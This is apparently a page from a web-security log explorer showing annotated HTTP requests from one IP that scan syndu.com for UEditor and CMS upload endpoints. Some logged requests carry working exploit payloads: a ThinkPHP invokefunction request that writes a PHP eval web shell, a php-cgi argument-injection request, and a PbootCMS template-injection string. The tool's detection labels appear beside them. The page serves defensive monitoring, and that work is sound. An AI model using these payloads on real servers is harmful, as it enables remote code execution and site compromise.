← Back to IP report

Log Explorer

Fact drill-down for 103.241.74.172

Risk 9 LOW Scope All time All-time facts 53 In-scope 53 Filtered 53 Seen 2025-04-25 → 2025-04-25

Reset (all-time)

Active (none) Clear

Faceted filters (facts-based) exact core + snapshot + optional start/end

Annotation facets

HTTP facets

Snapshot facets

Custom time window (optional override)

Provide start/end to scope time explicitly (overrides days). Leave blank for all-time.

Tip: keep windows tight when you need speed, but the default is fact-complete.

Top annotators (facts, in-scope)

base 39 cmdi 6 sqli 6 sfp 1 trav 1

Top labels (facts, in-scope)

observed 39 cmdi 6 sqli 6 trav 1 sensitive_file 1

Click a pill to apply it as a filter.

Annotated access events

Showing page 1 / 2 — total 53 rows

← Prev Next →

#1 2025-04-25 06:43:59 event 8222785 GET 301 bytes 169

ann base label observed

Request event observed

/js/Ueditor/net/controller.ashx

referer

http://www.syndu.com/js/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/js/Ueditor/net/controller.ashx

referer

http://www.syndu.com/js/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#2 2025-04-25 06:43:59 event 8222783 GET 301 bytes 169

ann base label observed

Request event observed

/static/Ueditor/net/controller.ashx/js/Ueditor/controller.ashx

referer

http://www.syndu.com/static/Ueditor/net/controller.ashx/js/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/static/Ueditor/net/controller.ashx/js/Ueditor/controller.ashx

referer

http://www.syndu.com/static/Ueditor/net/controller.ashx/js/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#3 2025-04-25 06:43:59 event 8222782 GET 301 bytes 169

ann base label observed

Request event observed

/static/Ueditor/controller.ashx

referer

http://www.syndu.com/static/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/static/Ueditor/controller.ashx

referer

http://www.syndu.com/static/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#4 2025-04-25 06:43:59 event 8222781 GET 301 bytes 169

ann base label observed

Request event observed

/admin/Ueditor/net/controller.ashx

referer

http://www.syndu.com/admin/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/admin/Ueditor/net/controller.ashx

referer

http://www.syndu.com/admin/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#5 2025-04-25 06:43:58 event 8222780 GET 301 bytes 169

ann base label observed

Request event observed

/admin/Ueditor/controller.ashx

referer

http://www.syndu.com/admin/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/admin/Ueditor/controller.ashx

referer

http://www.syndu.com/admin/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#6 2025-04-25 06:43:58 event 8222779 GET 301 bytes 169

ann base label observed

Request event observed

/editor/Ueditor/net/controller.ashx

referer

http://www.syndu.com/editor/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/editor/Ueditor/net/controller.ashx

referer

http://www.syndu.com/editor/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#7 2025-04-25 06:43:58 event 8222778 GET 301 bytes 169

ann base label observed

Request event observed

/editor/Ueditor/controller.ashx

referer

http://www.syndu.com/editor/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/editor/Ueditor/controller.ashx

referer

http://www.syndu.com/editor/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#8 2025-04-25 06:43:58 event 8222777 GET 301 bytes 169

ann base label observed

Request event observed

/manager/Ueditor/net/controller.ashx

referer

http://www.syndu.com/manager/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/manager/Ueditor/net/controller.ashx

referer

http://www.syndu.com/manager/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#9 2025-04-25 06:43:58 event 8222776 GET 301 bytes 169

ann base label observed

Request event observed

/manager/Ueditor/controller.ashx

referer

http://www.syndu.com/manager/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/manager/Ueditor/controller.ashx

referer

http://www.syndu.com/manager/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#10 2025-04-25 06:43:58 event 8222775 GET 301 bytes 169

ann base label observed

Request event observed

/Controls/Ueditor/net/controller.ashx

referer

http://www.syndu.com/Controls/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/Controls/Ueditor/net/controller.ashx

referer

http://www.syndu.com/Controls/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#11 2025-04-25 06:43:58 event 8222774 GET 301 bytes 169

ann base label observed

Request event observed

/Controls/Ueditor/controller.ashx

referer

http://www.syndu.com/Controls/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/Controls/Ueditor/controller.ashx

referer

http://www.syndu.com/Controls/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#12 2025-04-25 06:43:58 event 8222773 GET 301 bytes 169

ann base label observed

Request event observed

/content/Ueditor/net/controller.ashx

referer

http://www.syndu.com/content/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/content/Ueditor/net/controller.ashx

referer

http://www.syndu.com/content/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#13 2025-04-25 06:43:58 event 8222772 GET 301 bytes 169

ann base label observed

Request event observed

/content/Ueditor/controller.ashx

referer

http://www.syndu.com/content/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/content/Ueditor/controller.ashx

referer

http://www.syndu.com/content/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#14 2025-04-25 06:43:58 event 8222771 GET 301 bytes 169

ann base label observed

Request event observed

/Scripts/ueditor/net/controller.ashx

referer

http://www.syndu.com/Scripts/ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/Scripts/ueditor/net/controller.ashx

referer

http://www.syndu.com/Scripts/ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#15 2025-04-25 06:43:57 event 8222770 GET 301 bytes 169

ann base label observed

Request event observed

/Scripts/ueditor/controller.ashx

referer

http://www.syndu.com/Scripts/ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/Scripts/ueditor/controller.ashx

referer

http://www.syndu.com/Scripts/ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#16 2025-04-25 06:43:57 event 8222769 GET 301 bytes 169

ann base label observed

Request event observed

/Content/scripts/plugins/Ueditor/net/controller.ashx

referer

http://www.syndu.com/Content/scripts/plugins/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/Content/scripts/plugins/Ueditor/net/controller.ashx

referer

http://www.syndu.com/Content/scripts/plugins/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#17 2025-04-25 06:43:57 event 8222768 GET 301 bytes 169

ann base label observed

Request event observed

/Content/scripts/plugins/Ueditor/controller.ashx

referer

http://www.syndu.com/Content/scripts/plugins/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/Content/scripts/plugins/Ueditor/controller.ashx

referer

http://www.syndu.com/Content/scripts/plugins/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#18 2025-04-25 06:43:57 event 8222767 GET 301 bytes 169

ann base label observed

Request event observed

/Plugin/ueditor/net/controller.ashx

referer

http://www.syndu.com/Plugin/ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/Plugin/ueditor/net/controller.ashx

referer

http://www.syndu.com/Plugin/ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#19 2025-04-25 06:43:57 event 8222766 GET 301 bytes 169

ann base label observed

Request event observed

/Plugin/ueditor/controller.ashx

referer

http://www.syndu.com/Plugin/ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/Plugin/ueditor/controller.ashx

referer

http://www.syndu.com/Plugin/ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#20 2025-04-25 06:43:57 event 8222765 GET 301 bytes 169

ann base label observed

Request event observed

/Ueditor/net/controller.ashx

referer

http://www.syndu.com/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/Ueditor/net/controller.ashx

referer

http://www.syndu.com/Ueditor/net/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#21 2025-04-25 06:43:57 event 8222764 GET 301 bytes 169

ann base label observed

Request event observed

/Ueditor/controller.ashx

referer

http://www.syndu.com/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/Ueditor/controller.ashx

referer

http://www.syndu.com/Ueditor/controller.ashx

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#22 2025-04-25 06:43:57 event 8222763 GET 301 bytes 169

ann base label observed

Request event observed

/sofkr.php

referer

http://www.syndu.com/sofkr.php

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/sofkr.php

referer

http://www.syndu.com/sofkr.php

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#23 2025-04-25 06:43:57 event 8222762 GET 301 bytes 169

ann base label observed

Request event observed

/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=sofkr.php&vars[1][]=<?php%20class%20CustomExecutor%20{%20%20public%20fun…

referer

http://www.syndu.com/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=sofkr.php&vars[1][]=<?php class CustomExecutor { pu…

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=sofkr.php&vars[1][]=<?php%20class%20CustomExecutor%20{%20%20public%20function%20__construct($code){%20%20@eval(\x22/*CustomCodeExecutor*/\x22%20.%20$code);%20%20}%20}%20%20new%20CustomExecutor($_REQUEST['50']);%20?>xinghuoxise$

referer

http://www.syndu.com/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=sofkr.php&vars[1][]=<?php class CustomExecutor { public function __construct($code){ @eval(\x22/*CustomCodeExecutor*/\x22 . $code); } } new CustomExecutor($_REQUEST['50']); ?>xinghuoxise$

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#24 2025-04-25 06:43:57 event 8222762 GET 301 bytes 169

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=sofkr.php&vars[1][]=<?php%20class%20CustomExecutor%20{%20%20public%20fun…

referer

http://www.syndu.com/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=sofkr.php&vars[1][]=<?php class CustomExecutor { pu…

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

Pipe/redirect operators in a context that resembles command execution. Snippet='l_user_func_array&vars[0]=file_put_contents&vars[1][]=sofkr.php&vars[1][]=<?php class CustomExecutor { public function __c'

More (full fields + snapshot) expand

url

referer

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#25 2025-04-25 06:43:57 event 8222762 GET 301 bytes 169

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=sofkr.php&vars[1][]=<?php%20class%20CustomExecutor%20{%20%20public%20fun…

referer

http://www.syndu.com/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=sofkr.php&vars[1][]=<?php class CustomExecutor { pu…

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='l_user_func_array&vars[0]=file_put_contents&vars[1][]=sofkr.php&vars[1][]=<?php class CustomExecutor { public function __c'

More (full fields + snapshot) expand

url

referer

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#26 2025-04-25 06:43:56 event 8222761 GET 301 bytes 169

ann base label observed

Request event observed

/index.php

referer

^url^/index.php

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/index.php

referer

^url^/index.php

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#27 2025-04-25 06:43:55 event 8222760 POST 301 bytes 169

ann base label observed

Request event observed

/php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input

referer

http://www.syndu.com/php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input

referer

http://www.syndu.com/php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#28 2025-04-25 06:43:55 event 8222760 POST 301 bytes 169

ann trav 30 label trav

Request Path traversal / LFI indicator detected

/php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input

referer

http://www.syndu.com/php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Annotation facts

label

trav

rule

trav:wrapper

conf

94.00

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

More (full fields + snapshot) expand

url

/php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input

referer

http://www.syndu.com/php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

summary

Path traversal / LFI indicator detected

details

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#29 2025-04-25 06:43:54 event 8222756 POST 301 bytes 169

ann sqli 8 label sqli

Request SQL injection indicator: sqli:comment_marker

/?tag/index=&tag={pbohome/Indexot:if(1)(usort/*%3e*/(post/*%3e*/(/*%3e*/1),create_function/*%3e*/(/*%3e*/post/*%3e*/(/*%3e*/2),post/*%3e*/(/*%3e*/3))));//)}(123){/pbhome/Indexoot:…

referer

http://www.syndu.com/?tag/index=&tag={pbohome/Indexot:if(1)(usort/*%3e*/(post/*%3e*/(/*%3e*/1),create_function/*%3e*/(/*%3e*/post/*%3e*/(/*%3e*/2),post/*%3e*/(/*%3e*/3))));//)}(12…

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Annotation facts

label

sqli

rule

sqli:comment_marker

conf

55.00

details

SQL-style comment marker observed (weak alone). Snippet='POST /?tag/index=&tag={pbohome/Indexot:if(1)(usort/*>*/(post/*>*/(/*>*/1),create_function/*>*/(/*>*/post/*>*/(/*'

More (full fields + snapshot) expand

url

/?tag/index=&tag={pbohome/Indexot:if(1)(usort/*%3e*/(post/*%3e*/(/*%3e*/1),create_function/*%3e*/(/*%3e*/post/*%3e*/(/*%3e*/2),post/*%3e*/(/*%3e*/3))));//)}(123){/pbhome/Indexoot:if}&tagstpl=news.html&lnoc2tspfar1_ue

referer

http://www.syndu.com/?tag/index=&tag={pbohome/Indexot:if(1)(usort/*%3e*/(post/*%3e*/(/*%3e*/1),create_function/*%3e*/(/*%3e*/post/*%3e*/(/*%3e*/2),post/*%3e*/(/*%3e*/3))));//)}(123){/pbhome/Indexoot:if}&tagstpl=news.html&lnoc2tspfar1_ue

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

summary

SQL injection indicator: sqli:comment_marker

details

SQL-style comment marker observed (weak alone). Snippet='POST /?tag/index=&tag={pbohome/Indexot:if(1)(usort/*>*/(post/*>*/(/*>*/1),create_function/*>*/(/*>*/post/*>*/(/*'

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#30 2025-04-25 06:43:54 event 8222756 POST 301 bytes 169

ann sqli 18 label sqli

Request SQL injection indicator: sqli:if_case

/?tag/index=&tag={pbohome/Indexot:if(1)(usort/*%3e*/(post/*%3e*/(/*%3e*/1),create_function/*%3e*/(/*%3e*/post/*%3e*/(/*%3e*/2),post/*%3e*/(/*%3e*/3))));//)}(123){/pbhome/Indexoot:…

referer

http://www.syndu.com/?tag/index=&tag={pbohome/Indexot:if(1)(usort/*%3e*/(post/*%3e*/(/*%3e*/1),create_function/*%3e*/(/*%3e*/post/*%3e*/(/*%3e*/2),post/*%3e*/(/*%3e*/3))));//)}(12…

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Annotation facts

label

sqli

rule

sqli:if_case

conf

70.00

details

Detected IF(/CASE WHEN with SQL punctuation context (often used in boolean-blind probes). Snippet='POST /?tag/index=&tag={pbohome/Indexot:if(1)(usort/*>*/(post/*>*/(/*>*/1),create_function/*>*/(/*>*/po'

More (full fields + snapshot) expand

url

referer

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

summary

SQL injection indicator: sqli:if_case

details

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#31 2025-04-25 06:43:54 event 8222758 GET 301 bytes 169

ann base label observed

Request event observed

/krykk.php

referer

http://www.syndu.com/krykk.php

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/krykk.php

referer

http://www.syndu.com/krykk.php

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#32 2025-04-25 06:43:54 event 8222756 POST 301 bytes 169

ann base label observed

Request event observed

/?tag/index=&tag={pbohome/Indexot:if(1)(usort/*%3e*/(post/*%3e*/(/*%3e*/1),create_function/*%3e*/(/*%3e*/post/*%3e*/(/*%3e*/2),post/*%3e*/(/*%3e*/3))));//)}(123){/pbhome/Indexoot:…

referer

http://www.syndu.com/?tag/index=&tag={pbohome/Indexot:if(1)(usort/*%3e*/(post/*%3e*/(/*%3e*/1),create_function/*%3e*/(/*%3e*/post/*%3e*/(/*%3e*/2),post/*%3e*/(/*%3e*/3))));//)}(12…

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

referer

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#33 2025-04-25 06:43:54 event 8222755 GET 301 bytes 169

ann base label observed

Request event observed

/e/aspx/upload.aspx?a=pageadmin_cms

referer

http://www.syndu.com/e/aspx/upload.aspx?a=pageadmin_cms

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/e/aspx/upload.aspx?a=pageadmin_cms

referer

http://www.syndu.com/e/aspx/upload.aspx?a=pageadmin_cms

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

summary

event observed

details

—

subnet

103.241.74.0/24

asn

152194 — CTG Server Limited

geo

Hong Kong, Tsuen Wan District, Kwai Chung

org

Group Entropy IT Hong Kong Co., Ltd.

#34 2025-04-25 06:43:53 event 8222752 GET 301 bytes 169

ann base label observed

Request event observed

/index.php/api/Uploadify/preview

referer

http://www.syndu.com/index.php/api/Uploadify/preview

